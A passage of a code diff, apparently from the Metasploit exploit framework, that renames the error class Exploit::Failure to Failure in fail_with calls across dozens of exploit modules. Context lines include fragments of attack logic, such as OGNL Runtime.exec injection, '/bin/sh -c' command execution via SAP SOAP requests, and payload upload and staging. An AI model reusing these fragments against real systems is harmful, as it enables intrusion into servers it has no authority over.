TARGETURI") if cookie_name.nil? || cookie_name.empty? # This prevents trying to send busted cookies with no name - fail_with(Exploit::Failure::BadConfig, "No cookie found and no name given") + fail_with(Failure::BadConfig, "No cookie found and no name given") end if datastore['VALIDATE_COOKIE'] - fail_with(Exploit::Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway") + fail_with(Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway") else print_status("Trying to leverage default controller without cookie confirmation.") end diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index cf46bf92d7acb..6819f7fa5aba7 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -102,10 +102,10 @@ def retrieve_session(user, pass) print_status("Successfully retrieved cookie: #{session}") return session else - fail_with(Exploit::Failure::Unknown, "Error retrieving cookie!") + fail_with(Failure::Unknown, "Error retrieving cookie!") end else - fail_with(Exploit::Failure::Unknown, "Error logging in.") + fail_with(Failure::Unknown, "Error logging in.") end end @@ -150,7 +150,7 @@ def upload_page(session, newpage, contents) print_status("Successfully uploaded #{newpage}") return res else - fail_with(Exploit::Failure::Unknown, "Error uploading #{newpage}") + fail_with(Failure::Unknown, "Error uploading #{newpage}") end end @@ -164,7 +164,7 @@ def retrieve_upload_dir(session) print_status("Successfully retrieved upload dir: #{upload_dir}") return upload_dir else - fail_with(Exploit::Failure::Unknown, "Error retrieving the upload dir") + fail_with(Failure::Unknown, "Error retrieving the upload dir") end end diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 397116f37a6a8..ea14c1bebb447 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -167,7 +167,7 @@ def exploit print_status("#{@peer} - Retrieving Tomcat installation path...") if install_path.nil? - fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path") + fail_with(Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path") end print_good("#{@peer} - Tomcat installed on #{install_path}") diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb index a99f20593caf4..02d92777eb6f9 100644 --- a/modules/exploits/multi/http/splunk_mappy_exec.rb +++ b/modules/exploits/multi/http/splunk_mappy_exec.rb @@ -139,7 +139,7 @@ def do_login } } else - fail_with(Exploit::Failure::NotFound, "Unable to get session cookies") + fail_with(Failure::NotFound, "Unable to get session cookies") end res = send_request_cgi( @@ -156,7 +156,7 @@ def do_login }, 25) if not res or res.code != 303 - fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") + fail_with(Failure::NoAccess, "Unable to authenticate") else session_id_port = '' session_id = '' diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index 4bf8cc5abdefb..c53121556ab76 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -216,7 +216,7 @@ def do_login } } else - fail_with(Exploit::Failure::NotFound, "Unable to get session cookies") + fail_with(Failure::NotFound, "Unable to get session cookies") end res = send_request_cgi( @@ -233,7 +233,7 @@ def do_login }) if not res or res.code != 303 - fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") + fail_with(Failure::NoAccess, "Unable to authenticate") else session_id_port = '' session_id = '' @@ -283,7 +283,7 @@ def do_upload_app(app_name, file_name) if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/))) print_status("#{app_name} successfully uploaded") else - fail_with(Exploit::Failure::Unknown, "Error uploading") + fail_with(Failure::Unknown, "Error uploading") end end @@ -297,7 +297,7 @@ def do_get_csrf(uri) }) res.body.match(/FORM_KEY":\ "(\d+)"/) @csrf_form_key = $1 - fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key + fail_with(Failure::Unknown, "csrf form Key not found") if not @csrf_form_key end def fetch_job_output(job_id) diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index 1ff03167083a3..3df458734626c 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -147,7 +147,7 @@ def exploit when 'win' windows_stager else - fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!') + fail_with(Failure::NoTarget, 'Unsupported target platform!') end handler diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index f33f57bfb14a3..23e9ebe9705aa 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -201,7 +201,7 @@ def exploit when 'java' java_stager else - fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!') + fail_with(Failure::NoTarget, 'Unsupported target platform!') end handler diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb index 5ba182ba6c532..8c610b8939efe 100644 --- a/modules/exploits/multi/http/struts_code_exec_parameters.rb +++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb @@ -117,7 +117,7 @@ def exploit @payload_exe = "./#{@payload_exe}.exe" exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" else - fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!') + fail_with(Failure::NoTarget, 'Unsupported target platform!') end #Now with all the arch specific stuff set, perform the upload. diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb index 4ec4a222fc788..1eb4f1d1f24e1 100644 --- a/modules/exploits/multi/http/struts_default_action_mapper.rb +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -170,7 +170,7 @@ def auto_target }) if res.nil? or res.code != 200 - fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200") + fail_with(Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200") end proof = rand_text_alpha(6 + rand(4)) @@ -188,7 +188,7 @@ def auto_target end end - fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work") + fail_with(Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work") end @@ -220,7 +220,7 @@ def exploit_linux }) if res.nil? or res.code != 302 - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end # @@ -244,7 +244,7 @@ def exploit_linux }) if res.nil? or res.code != 302 - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end # @@ -261,7 +261,7 @@ def exploit_linux }) if res.nil? or res.code != 302 - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end end @@ -290,7 +290,7 @@ def exploit_windows }) if res.nil? or res.code != 302 - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end # @@ -315,12 +315,12 @@ def exploit if my_target.name =~ /Linux/ if datastore['PAYLOAD'] =~ /windows/ - fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!") + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!") end exploit_linux elsif my_target.name =~ /Windows/ if datastore['PAYLOAD'] =~ /linux/ - fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!") + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!") end exploit_windows end @@ -347,7 +347,7 @@ def wait_payload select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end diff --git a/modules/exploits/multi/http/struts_include_params.rb b/modules/exploits/multi/http/struts_include_params.rb index d17b2ac3f9b91..6a2760e9868ac 100644 --- a/modules/exploits/multi/http/struts_include_params.rb +++ b/modules/exploits/multi/http/struts_include_params.rb @@ -135,7 +135,7 @@ def exploit @payload_exe = "./#{@payload_exe}.exe" exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" else - fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!') + fail_with(Failure::NoTarget, 'Unsupported target platform!') end print_status("Preparing payload...") diff --git a/modules/exploits/multi/http/stunshell_exec.rb b/modules/exploits/multi/http/stunshell_exec.rb index 343f849f63399..267127561688d 100644 --- a/modules/exploits/multi/http/stunshell_exec.rb +++ b/modules/exploits/multi/http/stunshell_exec.rb @@ -87,7 +87,7 @@ def http_send_command(cmd) } res = send_request_cgi(request_parameters) if not (res and res.code == 200) - fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.') + fail_with(Failure::Unknown, 'Failed to execute the command.') end end diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 2828a899e610c..d6ad0869eb977 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -165,7 +165,7 @@ def exploit if (target.name =~ /Automatic/) mytarget = auto_target if (not mytarget) - fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target") + fail_with(Failure::NoTarget, "Unable to automatically select a target") end print_status("Automatically selected target \"#{mytarget.name}\"") else @@ -201,14 +201,14 @@ def exploit 'data' => war, }, 20) if (! res) - fail_with(Exploit::Failure::Unknown, "Upload failed on #{path_tmp} [No Response]") + fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [No Response]") end if (res.code < 200 or res.code >= 300) case res.code when 401 print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") end - fail_with(Exploit::Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]") + fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]") end report_auth_info( diff --git a/modules/exploits/multi/http/v0pcr3w_exec.rb b/modules/exploits/multi/http/v0pcr3w_exec.rb index de0471bdd7f30..51ea48ce7a0c8 100644 --- a/modules/exploits/multi/http/v0pcr3w_exec.rb +++ b/modules/exploits/multi/http/v0pcr3w_exec.rb @@ -82,7 +82,7 @@ def http_send_command(cmd) } }) if not (res and res.code == 200) - fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.') + fail_with(Failure::Unknown, 'Failed to execute the command.') end end diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index 000336b98be8b..62bfa1ceec51d 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -95,7 +95,7 @@ def get_cookie if res and res.headers['Set-Cookie'] cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0] else - fail_with(Exploit::Failure::Unknown, "#{@peer} - No cookie found, will not continue") + fail_with(Failure::Unknown, "#{@peer} - No cookie found, will not continue") end cookie @@ -122,7 +122,7 @@ def login(cookie) login[name] = value end else - fail_with(Exploit::Failure::Unknown, "#{@peer} - Unable to find the hidden fieldset required for login") + fail_with(Failure::Unknown, "#{@peer} - Unable to find the hidden fieldset required for login") end # Add the rest of fields required for login @@ -149,7 +149,7 @@ def login(cookie) cookie_cred = "#{cookie}; #{user}; #{pass}" else cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" - fail_with(Exploit::Failure::Unknown, "#{@peer} - Unable to login with \"#{cred}\"") + fail_with(Failure::Unknown, "#{@peer} - Unable to login with \"#{cred}\"") end return cookie_cred @@ -173,7 +173,7 @@ def inject_exec(cookie) fields[n] = v end else - fail_with(Exploit::Failure::Unknown, "#{@peer} - Cannot get necessary fields before posting a comment") + fail_with(Failure::Unknown, "#{@peer} - Cannot get necessary fields before posting a comment") end # Generate enough URLs to trigger spam logging diff --git a/modules/exploits/multi/http/zenworks_control_center_upload.rb b/modules/exploits/multi/http/zenworks_control_center_upload.rb index 87465fbad4c8c..84c9c36dd7d83 100644 --- a/modules/exploits/multi/http/zenworks_control_center_upload.rb +++ b/modules/exploits/multi/http/zenworks_control_center_upload.rb @@ -113,7 +113,7 @@ def exploit if res and res.code == 302 print_status("Upload finished, waiting 20 seconds for payload deployment...") else - fail_with(Exploit::Failure::Unknown, "Failed to upload payload") + fail_with(Failure::Unknown, "Failed to upload payload") end # Wait to ensure the uploaded war is deployed diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index 9020e6e3b8dbe..8b893b915acfa 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -104,7 +104,7 @@ def get_target return targets[2] end - fail_with(Msf::Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'") + fail_with(Msf::Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'") end def exploit diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index eab312d26e02b..30ce88f4c7ab6 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -212,11 +212,11 @@ def check uri_path = normalize_uri(datastore['URI']) || target['DefaultURI'] if(not cookie_name) - fail_with(Exploit::Failure::Unknown, "The COOKIENAME option must be set") + fail_with(Failure::Unknown, "The COOKIENAME option must be set") end if(not uri_path) - fail_with(Exploit::Failure::Unknown, "The URI option must be set") + fail_with(Failure::Unknown, "The URI option must be set") end res = send_request_cgi({ @@ -316,11 +316,11 @@ def brute_exploit(target_addrs) uri_path = normalize_uri(datastore['URI']) || target['DefaultURI'] if(not cookie_name) - fail_with(Exploit::Failure::Unknown, "The COOKIENAME option must be set") + fail_with(Failure::Unknown, "The COOKIENAME option must be set") end if(not uri_path) - fail_with(Exploit::Failure::Unknown, "The URI option must be set") + fail_with(Failure::Unknown, "The URI option must be set") end # Generate and reuse the original buffer to save CPU @@ -418,7 +418,7 @@ def brute_exploit(target_addrs) print_line("*" * 40) print_line('') - fail_with(Exploit::Failure::Unknown, "Exploit settings are probably wrong") + fail_with(Failure::Unknown, "Exploit settings are probably wrong") end else print_status("No response from the server") diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb index 47f16de3b15eb..a3938f0601df9 100644 --- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb @@ -166,7 +166,7 @@ def auto_detect return nil end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service") end end @@ -257,7 +257,7 @@ def exploit_linux begin res = send_soap_request("/bin/sh -c #{cmd}") rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service") end handle_response(res) @@ -279,7 +279,7 @@ def exploit_linux begin res = send_soap_request("/bin/sh -c #{cmd}") rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service") end handle_response(res) @@ -291,7 +291,7 @@ def exploit_linux begin res = send_soap_request("/bin/sh -c #{cmd}") rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access the SAP MC service") end handle_response(res) end @@ -317,7 +317,7 @@ def wait_linux_payload select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end @@ -335,7 +335,7 @@ def execute_command(cmd, opts) begin res = send_soap_request("cmd /c #{payload.strip}") rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not access SAP service") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not access SAP service") end handle_response(res) end @@ -343,17 +343,17 @@ def execute_command(cmd, opts) def handle_response(res) if (res and res.code != 500 and res.code != 200) - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Invalid server response") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Invalid server response") elsif res and res.code == 500 body = res.body if body.match(/Invalid Credentials/i) print_error("#{rhost}:#{rport} - The Supplied credentials are incorrect") - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials") elsif body.match(/Permission denied/i) print_error("#{rhost}:#{rport} - The Supplied credentials are valid, but lack OSExecute permissions") - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Exploit not complete, check credentials") end - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit not complete, OSExecute isn't working") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Exploit not complete, OSExecute isn't working") end end end diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb index d6640b3956ae3..eadeb598becae 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -150,7 +150,7 @@ def exploit if res and res.code == 200 and res.body =~ /External program terminated/ print_good("#{rhost}:#{rport} - Payload dump was successful") else - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed") end stage_two = create_unix_payload(2,file) print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...") @@ -192,10 +192,10 @@ def execute_command(cmd, opts) vprint_error("#{rhost}:#{rport} - Error #{error[i]}") end end - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Error injecting command") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error injecting command") end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect") end end end diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb index 4eaf377362b43..1d5887c5fa4e6 100755 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -152,7 +152,7 @@ def exploit if res and res.code == 200 and res.body =~ /External program terminated/ print_good("#{rhost}:#{rport} - Payload dump was successful") else - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed") end stage_two = create_unix_payload(2,file) print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...") @@ -195,10 +195,10 @@ def execute_command(cmd, opts) end end print_status("#{res.code}\n#{res.body}") - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Error injecting command") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error injecting command") end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect") end end end diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index 2fc1fd258ef0d..eb8b5ef06d85e 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -108,17 +108,17 @@ def do_login(ip, user, pass, port) begin self.ssh_socket = Net::SSH.start(ip, user, opt_hash) rescue Rex::ConnectionError, Rex::AddressInUse - fail_with(Exploit::Failure::Unreachable, 'Disconnected during negotiation') + fail_with(Failure::Unreachable, 'Disconnected during negotiation') rescue Net::SSH::Disconnect, ::EOFError - fail_with(Exploit::Failure::Disconnected, 'Timed out during negotiation') + fail_with(Failure::Disconnected, 'Timed out during negotiation') rescue Net::SSH::AuthenticationFailed - fail_with(Exploit::Failure::NoAccess, 'Failed authentication') + fail_with(Failure::NoAccess, 'Failed authentication') rescue Net::SSH::Exception => e - fail_with(Exploit::Failure::Unknown, "SSH Error: #{e.class} : #{e.message}") + fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}") end if not self.ssh_socket - fail_with(Exploit::Failure::Unknown) + fail_with(Failure::Unknown) end return end diff --git a/modules/exploits/multi/svn/svnserve_date.rb b/modules/exploits/multi/svn/svnserve_date.rb index dacd2ae767706..35ae905d6795c 100644 --- a/modules/exploits/multi/svn/svnserve_date.rb +++ b/modules/exploits/multi/svn/svnserve_date.rb @@ -108,12 +108,12 @@ def brute_exploit(addresses) if (sock.put(buf) || 0) == 0 and index < 3 print_error("Error transmitting buffer.") - fail_with(Exploit::Failure::Unknown, "Failed to transmit data") if !datastore['IgnoreErrors'] + fail_with(Failure::Unknown, "Failed to transmit data") if !datastore['IgnoreErrors'] end if index == 3 and trash.length > 0 print_error("Received data when we shouldn't have") - fail_with(Exploit::Failure::Unknown, "Received data when it wasn't expected") if !datastore['IgnoreErrors'] + fail_with(Failure::Unknown, "Received data when it wasn't expected") if !datastore['IgnoreErrors'] end } diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb index 97f973bf3ef0f..4bf5422cb9229 100644 --- a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -437,7 +437,7 @@ def choose_target print_status("The system #{rhost} did not reply to our M-SEARCH probe") end - fail_with(Exploit::Failure::NoTarget, "No compatible target detected") + fail_with(Failure::NoTarget, "No compatible target detected") end # Accessor for our TCP payload stager diff --git a/modules/exploits/osx/browser/safari_file_policy.rb b/modules/exploits/osx/browser/safari_file_policy.rb index a06c09311a61d..58f0dd96ec661 100644 --- a/modules/exploits/osx/browser/safari_file_policy.rb +++ b/modules/exploits/osx/browser/safari_file_policy.rb @@ -258,7 +258,7 @@ def cleanup # def use_zlib if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) - fail_with(Exploit::Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") + fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") end end diff --git a/modules/exploits/osx/browser/safari_metadata_archive.rb b/modules/exploits/osx/browser/safari_metadata_archive.rb index 2d3c818f3cbeb..0a75b6d6d2b62 100644 --- a/modules/exploits/osx/browser/safari_metadata_archive.rb +++ b/modules/exploits/osx/browser/safari_metadata_archive.rb @@ -72,7 +72,7 @@ def initialize(info = {}) def check_dependencies @zip = (Rex::FileUtils::find_full_path('7za') || Rex::FileUtils::find_full_path('7za.exe')) return if @zip - fail_with(Exploit::Failure::Unknown, "This exploit requires the zip command to be installed in your path") + fail_with(Failure::Unknown, "This exploit requires the zip command to be installed in your path") end def on_request_uri(cli, request) diff --git a/modules/exploits/osx/mdns/upnp_location.rb b/modules/exploits/osx/mdns/upnp_location.rb index 7389b892ddcde..023823b37803d 100644 --- a/modules/exploits/osx/mdns/upnp_location.rb +++ b/modules/exploits/osx/mdns/upnp_location.rb @@ -173,7 +173,7 @@ def exploit upnp_port = scan_for_upnp_port() if upnp_port == 0 - fail_with(Exploit::Failure::Unreachable, "Could not find listening UPNP UDP socket") + fail_with(Failure::Unreachable, "Could not find listening UPNP UDP socket") end datastore['RPORT'] = upnp_port diff --git a/modules/exploits/unix/http/lifesize_room.rb b/modules/exploits/unix/http/lifesize_room.rb index 0b889c22c187f..462b9c4978412 100644 --- a/modules/exploits/unix/http/lifesize_room.rb +++ b/modules/exploits/unix/http/lifesize_room.rb @@ -59,7 +59,7 @@ def exploit }, 10) if not (res and res.headers['set-cookie']) - fail_with(Exploit::Failure::NotFound, 'Could not obtain a Session ID') + fail_with(Failure::NotFound, 'Could not obtain a Session ID') end sessionid = 'PHPSESSID=' << res.headers['set-cookie'].split('PHPSESSID=')[1].split('; ')[0] @@ -87,7 +87,7 @@ def exploit }, 10) if not res - fail_with(Exploit::Failure::NotFound, 'Could not validate the Session ID') + fail_with(Failure::NotFound, 'Could not validate the Session ID') return end diff --git a/modules/exploits/unix/smtp/exim4_string_format.rb b/modules/exploits/unix/smtp/exim4_string_format.rb index b524233914333..bf4b9a1adb4ce 100644 --- a/modules/exploits/unix/smtp/exim4_string_format.rb +++ b/modules/exploits/unix/smtp/exim4_string_format.rb @@ -110,11 +110,11 @@ def exploit print_status("Server: #{self.banner.to_s.strip}") if self.banner.to_s !~ /Exim / disconnect - fail_with(Exploit::Failure::NoTarget, "The target server is not running Exim!") + fail_with(Failure::NoTarget, "The target server is not running Exim!") end if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i - fail_with(Exploit::Failure::Unknown, "Warning: This version of Exim is not exploitable") + fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable") end ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n") @@ -153,7 +153,7 @@ def exploit resp ||= 'no response' msg = "MAIL: #{resp.strip}" if not resp or resp[0,3] != '250' - fail_with(Exploit::Failure::Unknown, msg) + fail_with(Failure::Unknown, msg) else print_status(msg) end @@ -162,7 +162,7 @@ def exploit resp ||= 'no response' msg = "RCPT: #{resp.strip}" if not resp or resp[0,3] != '250' - fail_with(Exploit::Failure::Unknown, msg) + fail_with(Failure::Unknown, msg) else print_status(msg) end @@ -171,7 +171,7 @@ def exploit resp ||= 'no response' msg = "DATA: #{resp.strip}" if not resp or resp[0,3] != '354' - fail_with(Exploit::Failure::Unknown, msg) + fail_with(Failure::Unknown, msg) else print_status(msg) end @@ -286,7 +286,7 @@ def exploit # Check output for success if second_result !~ /(MAIL|RCPT|sh: |sh-[0-9]+)/ print_error("Second result: #{second_result.inspect}") - fail_with(Exploit::Failure::Unknown, 'Something went wrong, perhaps this host is patched?') + fail_with(Failure::Unknown, 'Something went wrong, perhaps this host is patched?') end resp = '' diff --git a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb index c92824d02a490..d55a1c454db89 100644 --- a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb +++ b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb @@ -106,7 +106,7 @@ def exploit cmd = payload.encoded if not post(cmd, true) - fail_with(Exploit::Failure::Unknown, "Unable to execute the desired command") + fail_with(Failure::Unknown, "Unable to execute the desired command") end end end diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb b/modules/exploits/unix/webapp/coppermine_piceditor.rb index 170db130fce67..f6e128734f51e 100644 --- a/modules/exploits/unix/webapp/coppermine_piceditor.rb +++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb @@ -110,7 +110,7 @@ def exploit if (res and res.code == 200) print_status("Successfully POST'd exploit data") else - fail_with(Exploit::Failure::Unknown, "Error POSTing exploit data") + fail_with(Failure::Unknown, "Error POSTing exploit data") end handler diff --git a/modules/exploits/unix/webapp/foswiki_maketext.rb b/modules/exploits/unix/webapp/foswiki_maketext.rb index efafb4031c1ee..59b7f0459fffc 100644 --- a/modules/exploits/unix/webapp/foswiki_maketext.rb +++ b/modules/exploits/unix/webapp/foswiki_maketext.rb @@ -202,14 +202,14 @@ def exploit end if not session - fail_with(Exploit::Failure::Unknown, "Error getting a session ID") + fail_with(Failure::Unknown, "Error getting a session ID") end # Inject payload print_status("Trying to inject the payload on #{@page}...") res = inject_code(session, payload.encoded) if not res or res !~ /#{@page}/ - fail_with(Exploit::Failure::Unknown, "Error injecting the payload") + fail_with(Failure::Unknown, "Error injecting the payload") end # Execute payload @@ -220,7 +220,7 @@ def exploit }) if not res or res.code != 200 or res.body !~ /HASH/ print_status("#{res.code}\n#{res.body}") - fail_with(Exploit::Failure::Unknown, "Error executing the payload") + fail_with(Failure::Unknown, "Error executing the payload") end print_good("Exploitation was successful") diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb 